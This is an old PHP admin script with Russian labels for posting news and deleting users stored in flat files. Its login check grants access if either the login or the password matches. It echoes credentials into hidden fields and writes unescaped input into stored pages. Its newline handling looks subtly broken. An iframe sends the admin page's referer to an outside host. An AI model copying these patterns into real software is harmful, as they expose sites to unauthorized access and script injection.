Файл: id3508/admin.php
Строк: 120
<?
require "settings.php";
if ($login != "$adminlogin" && $password != "$adminpassword") { print "<BR><BR><CENTER><h1>== INCORRECT LOGIN OR PASSWORD == <BR><FONT COLOR=FFFFFF STYLE='BACKGROUND: RED;'>ACCESS DENIED!</h1>
<br><br><form>
<br>L:<input type=text name=login>
<br>P:<input type=password name=password>
<br><input type=submit>
</form>"; exit; }
switch($deystvo) :
case("news") :
print "
<form action=admin.php?deystvo=news2 method=post>
<input type=hidden name=login value=$login>
<input type=hidden name=password value=$password>
<center><b>Добавить новость:</b><br><br>
<textarea cols=40 rows=5 size=100 name=text></textarea><br>
<input type=submit  value='             Добавить новость             '>
</form>
";
break;
case("news2") : 
$dat = date("d.m.Y");
$text = htmlspecialchars($text);
$text = str_replace("rn", "<br>", $text);
print "<h1>Новость размещена!";
if ($name != "") { $tteexxtt = "$dat|$text|<a href='mailto:$email'>$name</a>|<a href='admins.php?admin=$login'>$login</a>"; }
else { $tteexxtt = "$dat|$text|<a href='admins.php?admin=$login'>$login</a>|"; }
$fp=fopen("news.txt","a");
fputs($fp,"$tteexxttrn");
fclose($fp);
break;
case("guest") :
print "<b>Убить выделенных юзеров:</b><br>
<form action=admin.php?deystvo=guestkill method=post>
<input type=hidden name=login value=$login>
<input type=hidden name=password value=$password>
      ";
  $n = "0";
  $g = "0";
          $fill="users.data";
          $test = file("$fill");
      $size = sizeof($test);
$num = $size;  
                        do { 
               //                   $data = explode("|", $test[$num]);   
               //                   $data[1] = stripslashes($data[1]);
$text = substr($test[$n],0,90);
$text = str_replace("<", "", $text);
print "<li> <input type=checkbox name=kill[$n]>   $text
       ";
$g++;   
$num--; 
$n++;
                     } while ($n-1 < "$size");
print "<br><input type=submit value='      kill selected!     '></form>";
break;
case("guestkill") :
 $n = "0";
  $g = "0";
          $fill="users.data";
          $test = file("$fill");
      $size = sizeof($test);
$num = $size;  
                        do { 
if ($kill[$n] == "on") { $sniffkill .= "$test[$n]"; $test[$n] = ""; }
$g++;   
$num--; 
$n++;
                     } while ($n-1 < "$size");
$n = "0";                          do {
$array .= "$test[$n]";
         $n++;                        } while ($n < $size);
        $fh = fopen("users.data", "w");          
        $ee = fputs($fh, "$array");      
        fclose($fh);
print "Юзер(ы) удален(ы)!       <br><font color=red>ЖМИ кнопку назад браузера!</font>";
break;
default :
 print "<title>AdMiN</title>
<center><h1>Admin.Interface</h1><br><br>
</form> 
<form action=admin.php?deystvo=news method=post>
<input type=hidden name=login value=$login>
<input type=hidden name=password value=$password><center>
<input type=submit value='         Добавить новость         '>
</form> 
<form action=admin.php?deystvo=guest method=post>
<input type=hidden name=login value=$login>
<input type=hidden name=password value=$password><center>
<input type=submit value='       Убить юзераюзеров      '>
</form> 
<br>
<br><br><br><br>
<hr size=1>
Админ.Интерфейс только с виду кривой :) Я никогда не уделял должного внимания админ.интерфейсам, слишком мало народу их видит...
<hr size=1>
<iframe width=100% height=50 frameborder=no src="http://club.lyanguzov.inc.ru/script.php?url=$HTTP_REFERER"></iframe>
       ";
  
break;
endswitch;
?>